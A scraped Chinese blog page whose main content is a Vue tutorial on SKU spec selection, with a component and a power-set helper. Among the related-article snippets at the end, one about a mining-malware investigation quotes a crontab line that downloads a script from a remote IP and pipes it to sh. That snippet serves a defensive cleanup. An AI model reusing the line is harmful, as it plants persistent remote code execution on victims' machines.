vue中SKU实现
通过发送请求获取商品详情数据,包括商品规格(specs)和库存信息(skus)。
选中状态更新:根据当前状态进行激活或取消激活的逻辑,通过为每个规格项添加的“selected”字段来标识是否激活,同时利用样式处理,通过动态类属性来直观地显示选中状态。
禁用状态更新:基于库存情况来确定规格是否禁用,通过生成有效路径字典来简化匹配过程。具体步骤包括获取有效 Sku 数组、生成子集以及构建路径字典对象。
初始化规格禁用:通过遍历规格对象,利用“name”字段与路径字典进行匹配来确定是否禁用,并通过增加“disabled”字段和动态类名来实现显示上的禁用效果。
点击时组合禁用更新:当用户点击规格时,通过特定步骤获取选中项数组并进行匹配来更新禁用状态。
产出有效 SKU 信息:以已选择项数组中不存在“undefined”来判断用户已选择所有有效规格,然后通过拼接已选数组为路径字典的键来获取相应的 SKU 信息对象。
vue
<script setup>
import { onMounted, ref } from "vue";
import axios from "axios";
// 导入幂级算法
import bwPowerSet from "./bwPowerSet";// 存储用于在页面中展示的规格数据
const specs = ref([]);
// 创建 UI 状态 (选中、禁用)
const UIState = ref([]);// 声明规格查询字典
let pathMap = {};//获取商品详情数据
function requestGoodsApi(id) {return axios.get("https://apipc-xiaotuxian-front.itheima.net/goods", {params: { id },});
}// 根据规格数据创建其对应的界面状态
function createUIStatus(specs) {// UI 状态数组const UIStatus = [];// 遍历源规格分组specs.forEach((spec) => {// 创建规格分组const group = [];// 遍历具体的规格选项spec.values.forEach(() => {// 设置每一个规格选项的选中状态和禁用状态(初始值)group.push({ selected: false, disabled: false });});// 将规格组对象添加到拷贝结果数组中UIStatus.push(group);});// 返回 UI 状态数组return UIStatus;}// 设置规格的选中状态
function setSelected(index, i) {// 获取当前用户点击的规格const current = UIState.value[index][i];// 获取当前用户点击的规格对应的规格组const group = UIState.value[index]; // 如果当前规格已经是禁用状态, 不能被选择, 所以阻止代码继续执行if (current.disabled) return;// 如果用户点击的规格已经是选中的if (current.selected) {// 让其取消选中current.selected = false;} else {// 先将该规格中的所有规格取消选中group.forEach((item) => (item.selected = false));// 将当前用户点击的规格设置为选中current.selected = true;}// 用户选择规格后更新规格的禁用状态setDisabled();
}// 设置规格的禁用状态
function setDisabled() {// 遍历每一组规格数据specs.value.forEach((spec, index) => {// 获取用户选择的规格名称数组const selected = getUserSelected();// 遍历这一组规格数据中的具体规格spec.values.forEach((value, i) => {// 如果当前规格已经被选中了, 说明它可以选, 不需要被禁用if (UIState.value[index][i].selected) return;// 将当前规格名称放入用户选择的规格数组名称中, 待匹配selected[index] = value.name;// 检测当前规格是否可以选择const key = selected.filter((name) => name).join("_");// 如不能选择, 设置当前规格的 disabled 为 trueUIState.value[index][i].disabled = !(key in pathMap);});});
}// 获取用户选择的规格名称数组
function getUserSelected() {// 声明用于存储用户选择的规格名称数组const names = [];// 遍历规格组specs.value.forEach((spec, index) => {// 查找当前规格组中被选中的规格的索引const selectedIndex = UIState.value[index].findIndex((item) => item.selected);// 如果找到了if (selectedIndex !== -1) {// 将该规格放在它自己的位置上names[index] = spec.values[selectedIndex].name;} else {// 如果没有找到, 当前规格使用 undefined 进行占位names[index] = undefined;}//获取到选中的规格console.log(names);});// 返回用户选择的规格名称数组return names;}// 创建规格查询字典
function createPathMap(skus) {// 过滤出有库存的商品规格组合skus.filter((sku) => sku.inventory > 0)// 遍历有库存的商品规格组合.forEach((sku) => {// 将当前遍历的规格组合中的规格名称临时存到一个数组中// ['蓝色', '20cm', '中国']const valueNames = sku.specs.map((spec) => spec.valueName);// 获取用户可以选择的所有可能的规格及规格组合// ['蓝色', '20cm']// [['蓝色'], ['20cm'], ['蓝色', '20cm']]const sets = bwPowerSet(valueNames).filter((set) => set.length > 0);// 获取当前商品的规格数量, 将用于判断某个规格是否是完整的const max = valueNames.length;// 遍历用户可以选择的所有可能的规格及规格组合sets.forEach((set) => {// 将规格名称以 _ 进行拼接const key = set.join("_");// 用于判断当前规格是否是完整的const isCompleted = set.length === max;// 判断规格查询对象中是否已经存储了当前规格if (!(key in pathMap)) {// 如果当前规格是完整的if (isCompleted) {// 将当前规格或规格组合添加到规格查询对象中并赋值 sku idpathMap[key] = sku.id;} else {// 将当前规格或规格组合添加到规格查询对象中pathMap[key] = null;}}});});return pathMap;}// 组件挂载完成之后
onMounted(async () => {// 获取商品详情数据const response = await requestGoodsApi("1369155859933827074");// 保存规格数据specs.value = response.data.result.specs;// 为规则数据附加 UI 状态UIState.value = createUIStatus(specs.value);// 创建规格查询对象pathMap = createPathMap(response.data.result.skus);// 设置规格的初始禁用效果setDisabled();
});
</script><template><div class="goods-sku"><dl v-for="(spec, index) in specs" :key="spec.id"><dt>{{ spec.name }}</dt><dd><template v-for="(item, i) in spec.values"><imgv-if="item.picture":class="{selected: UIState[index][i].selected,disabled: UIState[index][i].disabled,}"@click="setSelected(index, i)":src="item.picture":alt="item.name"/><spanv-else:class="{selected: UIState[index][i].selected,disabled: UIState[index][i].disabled,}"@click="setSelected(index, i)">{{ item.name }}</span></template></dd></dl></div>
</template><style scoped>
.goods-sku {padding-left: 10px;padding-top: 20px;
}.goods-sku dl {display: flex;align-items: center;
}.goods-sku dl dt {width: 50px;color: #999;
}.goods-sku dl dd {flex: 1;color: #666;
}.goods-sku dl dd > img {width: 50px;height: 50px;border: 1px solid #e4e4e4;margin-right: 10px;cursor: pointer;display: block;float: left;
}.goods-sku dl dd > img.selected {border-color: #27ba9b;
}.goods-sku dl dd > img.disabled {opacity: 0.6;border-style: dashed;cursor: not-allowed;
}.goods-sku dl dd > span {display: inline-block;height: 30px;line-height: 28px;padding: 0 20px;border: 1px solid #e4e4e4;margin-right: 10px;cursor: pointer;
}.goods-sku dl dd > span.selected {border-color: #27ba9b;
}.goods-sku dl dd > span.disabled {opacity: 0.6;border-style: dashed;cursor: not-allowed;
}
</style>
bowPowerSet.js
export default function bwPowerSet(originalSet) {// 初始化一个空数组用于存储子集const subSets = [];// 计算原始集合的元素个数const numberOfCombinations = 2 ** originalSet.length;// 循环生成所有可能的组合for (let combinationIndex = 0;combinationIndex < numberOfCombinations;combinationIndex += 1) {// 初始化一个空数组用于存储当前组合的子集const subSet = [];// 遍历原始集合的每个元素for (let setElementIndex = 0;setElementIndex < originalSet.length;setElementIndex += 1) {// 检查当前元素是否在当前组合中if (combinationIndex & (1 << setElementIndex)) {// 如果是,则将该元素添加到子集中subSet.push(originalSet[setElementIndex]);}}// 将当前子集添加到子集数组中subSets.push(subSet);}// 返回所有生成的子集return subSets;
}
相关文章:
vue中SKU实现
通过发送请求获取商品详情数据,包括商品规格(specs)和库存信息(skus)。 选中状态更新:根据当前状态进行激活或取消激活的逻辑,通过为每个规格项添加的“selected”字段来标识是否激活,同时利用样式处理,通过动态类属性…...

闭眼推荐的,新手教师工具
亲爱的老师们,尤其是那些刚踏入教育界的新手教师们,还在为如何高效管理课堂、如何制作精美的教学材料而头疼吗?让我来分享几款教育界口碑爆棚的工具。 易查分小程序 易查分是一款超级方便的成绩查询工具,一分钟就能上传成绩并生成…...
charles抓包工具之---添加vConsole
Charles Rewrite重写(详解!必懂系列)-CSDN博客 chales 重写/断点/映射/手机代理/其他主机代理_charles 批量映射-CSDN博客 在 Charles 上添加 rewrite 规则,以便在响应的 <head> 部分添加 vConsole,可以按照以下步骤操作:…...

Java多线程-初阶1
博主主页: 码农派大星. 数据结构专栏:Java数据结构 数据库专栏:MySQL数据库 JavaEE专栏:JavaEE 关注博主带你了解更多数据结构知识 1. 认识线程(Thread) 1.线程是什么 ⼀个线程就是⼀个 "执⾏流". 每个线程之间都可以按照顺序执⾏⾃⼰的代…...
C++二级指针的指向与解引用
本文算是作者对于二级指针学习的一些总结或者说是刨根问底,如果有表述错误,还请各位大神指正。 我们首先定义一个整型a,令a 5,再分别定义指针p和二级指针ptr int a 5; int *p &a; int **ptr &p;我们不妨假设a的地址是…...
Pandas处理时间差的4种表达方式
在Pandas中处理时间差(timedelta)时,有多种方式可以表达时间差。以下是总结的Pandas时间差的四种主要表达方式和相关信息: 目录 一、使用pd.Timedelta直接创建 二、使用DataFrame中计算时间差 三、转换为分钟数表示 四、使用…...
C语言---指针part2
指针操作 一维 字符数组 1. 字符型数组 --- 存放字符串的 char s[] "hello"; [h ] <---0x1000 [e ] [l ] [l ] [o ] [\0] //谁能这块空间的地址 --- 数组名 s --->怎么能保存s所代表的地址值 //s数组名 --- 数组首元素的地址 &s[0] --->地…...

DNS域名
DNS域名 DNS是域名系统的简称 域名和ip地址之间的映射关系 互联网中,ip地址是通信的唯一标识 访问网站,域名,ip地址不好记,域名朗朗上口,好记。 域名解析的目的就是为了实现,访问域名就等于访问ip地址…...

19 - 查询结果的质量和占比(高频 SQL 50 题基础版)
19 - 查询结果的质量和占比 -- round(avg(rating<3)*100,2)round(avg(if(rating<3,1,0))*100,2) select query_name,round(avg(rating/position),2) quality,round(avg(if(rating<3,1,0))*100,2) poor_query_percentage fromQueries group byquery_name;...

一次挖矿病毒的排查过程
目录 一、查看定时任务二、处理方法 一、查看定时任务 # crontab -l * * * * * wget -q -O - http://185.122.204.197/unk.sh | sh > /dev/null 2>&1 0 */1 * * * /usr/local/nginx/sbin/nginx -s reload发现异常任务: * * * * * wget -q -O - http://1…...

【JMeter接口测试工具】第二节.JMeter基本功能介绍(上)【入门篇】
文章目录 前言一、获取所有学院信息接口执行二、线程组的介绍 2.1 并发和顺序执行 2.2 优先和最后执行线程组 2.3 线程组的设置细节三、HTTP请求的介绍四、查看结果树的配置使用总结 前言 一、获取所有学院信息接口执行 我们先针对一条简单的接口进行执行&#…...

ultralytics solutions快速解决方案,快速实现某些场景的图像解决方案
参考: https://docs.ultralytics.com/solutions/ 在不断更新,已经有一些场景的解决方案 ultralytics 8.2.27 一、区域统计 1、自定义区域统计数量 https://docs.ultralytics.com/guides/region-counting/ 1、自定义画框,比如矩形框四个点的坐标获取 通过cv2点击图片获…...

iphone突然黑屏?3种方法解决问题!
iphone突然黑屏这应该是出现了iOS系统故障。一般来说,无摔落、浸水等情况造成设备出现硬件问题,多半是设备出现了系统故障。 虽然苹果iOS系统性能是较优的,但还是可能因各种使用情况出现不一样的iOS系统问题,包括升级、越狱、安装…...
nn.GRU和nn.GRUCell区别
nn.GRU和nn.GRUCell在PyTorch中都是用于实现门控循环单元(Gated Recurrent Unit, GRU)的模块,但它们之间存在一些区别: 输入维度: nn.GRU是一个完整的GRU层,它接受一个3D输入张量(batch_size, seq_length, input_size),输出也是一个3D张量(batch_size, seq_length, hidden_si…...

Coolmuster Android助手评测:简化Android到电脑的联系人传输
产品概述 Coolmuster Android助手是一款旨在简化Android设备与计算机之间数据管理和传输过程的全面工具。它以用户友好的界面和全面的功能,成为寻求高效数据管理解决方案的Android用户的热门选择。 主要特点和功能Coolmuster Android助手拥有一系列使其成为管理Andr…...
【杂记-webshell恶意脚本木马】
一、webshell概述及分类 概述 webshell,通常作为web应用管理工具,运维人员可以通过 webshell (服务器管理工具)针对 web 服务器进行日常的运维管理以及系统上线更新等,攻击者也可以通过 webshell (后门程序…...

锻炼 精读笔记 01
元数据 [!abstract] 锻炼 书名: 锻炼作者: 丹尼尔利伯曼简介: 我们是为休息而生,还是为跑而生? 跑步会毁了你的膝盖吗? 哪种运动项目蕞适合我? 懒惰是不正常的行为吗? 每晚都需要睡够 8 个小时…...

基于pytorch的车牌识别
🍨 本文为🔗365天深度学习训练营 中的学习记录博客🍖 原作者:K同学啊 一、导入数据 from torchvision.transforms import transforms from torch.utils.data import DataLoader from torchvision import datase…...

红酒:如何避免红酒过度氧化
红酒过度氧化是影响其品质的重要因素,尤其是在储存和运输过程中。过度氧化的红酒会失去原有的果香和口感,变得平淡无味。因此,避免红酒过度氧化至关重要。以下是一些进一步的措施,可以帮助您保护云仓酒庄雷盛红酒的品质࿱…...
FreeRTOS学习笔记-基于stm32(9)信号量总结(二值信号量、计数型信号量、互斥信号量、优先级翻转、优先级继承)
一、什么是信号量 信号量是一种队列,用于任务间同步和资源管理的机制,主要用来传递状态。就像是一种特殊的“旗子”或“钥匙”,用来在不同的任务之间进行沟通和协调,确保它们能够正确地配合工作,不会互相干扰。 二、二…...

业务系统对接大模型的基础方案:架构设计与关键步骤
业务系统对接大模型:架构设计与关键步骤 在当今数字化转型的浪潮中,大语言模型(LLM)已成为企业提升业务效率和创新能力的关键技术之一。将大模型集成到业务系统中,不仅可以优化用户体验,还能为业务决策提供…...

HTML 列表、表格、表单
1 列表标签 作用:布局内容排列整齐的区域 列表分类:无序列表、有序列表、定义列表。 例如: 1.1 无序列表 标签:ul 嵌套 li,ul是无序列表,li是列表条目。 注意事项: ul 标签里面只能包裹 li…...
测试markdown--肇兴
day1: 1、去程:7:04 --11:32高铁 高铁右转上售票大厅2楼,穿过候车厅下一楼,上大巴车 ¥10/人 **2、到达:**12点多到达寨子,买门票,美团/抖音:¥78人 3、中饭&a…...

如何将联系人从 iPhone 转移到 Android
从 iPhone 换到 Android 手机时,你可能需要保留重要的数据,例如通讯录。好在,将通讯录从 iPhone 转移到 Android 手机非常简单,你可以从本文中学习 6 种可靠的方法,确保随时保持连接,不错过任何信息。 第 1…...
3403. 从盒子中找出字典序最大的字符串 I
3403. 从盒子中找出字典序最大的字符串 I 题目链接:3403. 从盒子中找出字典序最大的字符串 I 代码如下: class Solution { public:string answerString(string word, int numFriends) {if (numFriends 1) {return word;}string res;for (int i 0;i &…...
爬虫基础学习day2
# 爬虫设计领域 工商:企查查、天眼查短视频:抖音、快手、西瓜 ---> 飞瓜电商:京东、淘宝、聚美优品、亚马逊 ---> 分析店铺经营决策标题、排名航空:抓取所有航空公司价格 ---> 去哪儿自媒体:采集自媒体数据进…...
根据万维钢·精英日课6的内容,使用AI(2025)可以参考以下方法:
根据万维钢精英日课6的内容,使用AI(2025)可以参考以下方法: 四个洞见 模型已经比人聪明:以ChatGPT o3为代表的AI非常强大,能运用高级理论解释道理、引用最新学术论文,生成对顶尖科学家都有用的…...

网络编程(UDP编程)
思维导图 UDP基础编程(单播) 1.流程图 服务器:短信的接收方 创建套接字 (socket)-----------------------------------------》有手机指定网络信息-----------------------------------------------》有号码绑定套接字 (bind)--------------…...
力扣-35.搜索插入位置
题目描述 给定一个排序数组和一个目标值,在数组中找到目标值,并返回其索引。如果目标值不存在于数组中,返回它将会被按顺序插入的位置。 请必须使用时间复杂度为 O(log n) 的算法。 class Solution {public int searchInsert(int[] nums, …...
Linux C语言网络编程详细入门教程:如何一步步实现TCP服务端与客户端通信
文章目录 Linux C语言网络编程详细入门教程:如何一步步实现TCP服务端与客户端通信前言一、网络通信基础概念二、服务端与客户端的完整流程图解三、每一步的详细讲解和代码示例1. 创建Socket(服务端和客户端都要)2. 绑定本地地址和端口&#x…...